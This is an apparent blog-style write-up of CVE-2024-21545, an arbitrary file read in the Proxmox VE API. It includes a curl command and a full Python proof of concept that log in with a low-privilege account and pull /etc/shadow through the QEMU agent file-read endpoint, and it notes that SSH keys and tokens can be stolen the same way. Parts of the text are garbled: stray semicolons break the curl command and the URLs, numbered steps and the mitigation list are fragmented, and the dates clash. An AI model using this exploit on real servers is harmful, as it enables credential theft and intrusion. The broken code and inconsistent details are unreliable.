Proxmox Virtual Environment (Proxmox VE) is an open-source platform widely used for managing virtualized servers. In early 2024, a serious vulnerability was found: CVE-2024-21545. This flaw allows attackers to download any file from the server, even sensitive system files, by abusing the API. The attack requires only low-level privileges (Sys.Audit or VM.Monitor), making it a critical risk for organizations using Proxmox.

Let’s break down the details, see how the bug works, and look at a sample exploit.

What is CVE-2024-21545?

CVE-2024-21545 is an arbitrary file read vulnerability in certain Proxmox VE API endpoints. Here’s what happens, step-by-step:

1. Authenticated Access: You need to be logged into the Proxmox API with at least ‘Sys.Audit’ or ‘VM.Monitor’ permissions—not administrator or root.
2. Malicious Request: You trick certain API endpoints into returning a response with a download object referencing any file path you choose.
3. Server Reads File: The Proxmox API handler (handle_api2_request) checks if a handler’s response includes a download object, and, if so, reads the referenced local file—*without checking permissions*.
4. File Sent to Attacker: The contents of that file are sent back to you, over the authenticated API session.

This means any Proxmox API user with modest privileges can grab files like /etc/shadow, config files, SSH keys, VM images—anything readable by the Proxmox API process.

Official Proxmox Security Advisory:

https://pve.proxmox.com/pve-security/CVE-2024-21545

NIST National Vulnerability Database (NVD):

https://nvd.nist.gov/vuln/detail/CVE-2024-21545

HackerOne Report:

https://hackerone.com/reports/2454535

Technical Details (in Simple Terms)

At the heart of Proxmox VE’s REST API is handle_api2_request. When some API endpoints finish their work, they may return a special object field named download, like this:

{
  "data": {
    "download": "/var/log/pve/tasks/index"
  }
}

If this field exists, the API handler will read the file at that path and send back the contents, instead of the normal API response.

The Problem:
Some endpoints let *any input* from the user, directly or indirectly, end up as the download parameter. There aren’t enough checks to block malicious file paths, so attackers can set the value to any path they want.

Affected Endpoints

### Example: /nodes/{node}/qemu/{vmid}/agent/file-read

The QEMU agent endpoint is used to read files from within a VM, but due to weak validation, it can also be tricked into reading files from the Proxmox host itself.

Log in to the API, for example using the Proxmox web UI or pvesh tool.

2. Send a malicious request setting the file or path parameter to a sensitive file (like /etc/shadow).

Here’s how a regular user with VM.Monitor can download any file from the server

# First, get a Proxmox API token or cookie (not shown here).
# Assume $TICKET and $CSRF exist, and $NODE and $VMID are known.

curl -k -X POST \
    -H "Cookie: PVEAuthCookie=$TICKET" \
    -H "CSRFPreventionToken: $CSRF" \
    "https://proxmox.example.com:8006/api2/json/nodes/$NODE/qemu/$VMID/agent/file-read"; \
    --data-urlencode "file=/etc/shadow"

This request “asks” the agent to read /etc/shadow, with results like

{
  "data": {
    "download": "/etc/shadow"
  }
}

If you then follow the URL provided, or if the endpoint directly returns the file (depending on the exact Proxmox version), you receive the contents of /etc/shadow.

Impact

- Privilege Escalation: Download private SSH keys, root tokens, cached session tokens, or password hashes.

Lateral Movement & Persistence: Forge sessions, bypass authentication, or implant backdoors.

For many deployments, the Proxmox service runs as root, meaning almost any file can be stolen.

Here’s a simplified Python exploit using Proxmox’s REST API

import requests

proxmox_api = 'https://proxmox.example.com:8006';
user = 'user@pam'
password = 'YourPassword'
realm = 'pam'
node = 'pve'
vmid = '101'
target_file = '/etc/shadow'

# Step 1: Log in and Get Auth Cookie
resp = requests.post(
    f"{proxmox_api}/api2/json/access/ticket",
    data={'username':user, 'password':password, 'realm': realm},
    verify=False
)
auth = resp.json()['data']
ticket = auth['ticket']
csrf = auth['CSRFPreventionToken']

# Step 2: Trigger file-read
headers = {
    'Cookie': f'PVEAuthCookie={ticket}',
    'CSRFPreventionToken': csrf
}
resp = requests.post(
    f"{proxmox_api}/api2/json/nodes/{node}/qemu/{vmid}/agent/file-read",
    headers=headers,
    data={'file': target_file},
    verify=False
)
print(resp.json())
# You may need to follow a download URL in data['data']['download']

*(You’ll need valid login credentials and a running VM for this PoC.)*

Restrict API Access: Use firewalls and network controls to limit who can talk to the API.

- Review User Roles: Audit who has Sys.Audit or VM.Monitor rights, as these are enough for exploitation.

Conclusion

CVE-2024-21545 highlights how dangerous even low-privilege API users can be if file-handling bugs exist. Arbitrary file download is as bad as remote code execution if the attacker gets secrets or credentials.

Immediate action is critical. Patch, audit, and restrict your management networks!

References

- Proxmox Security Advisory: CVE-2024-21545
- HackerOne Report on CVE-2024-21545
- National Vulnerability Database: CVE-2024-21545

Stay safe, keep your hypervisors patched, and always watch your privileges.

Timeline

Published on: 09/25/2024 01:15:40 UTC
Last modified on: 09/26/2024 13:32:02 UTC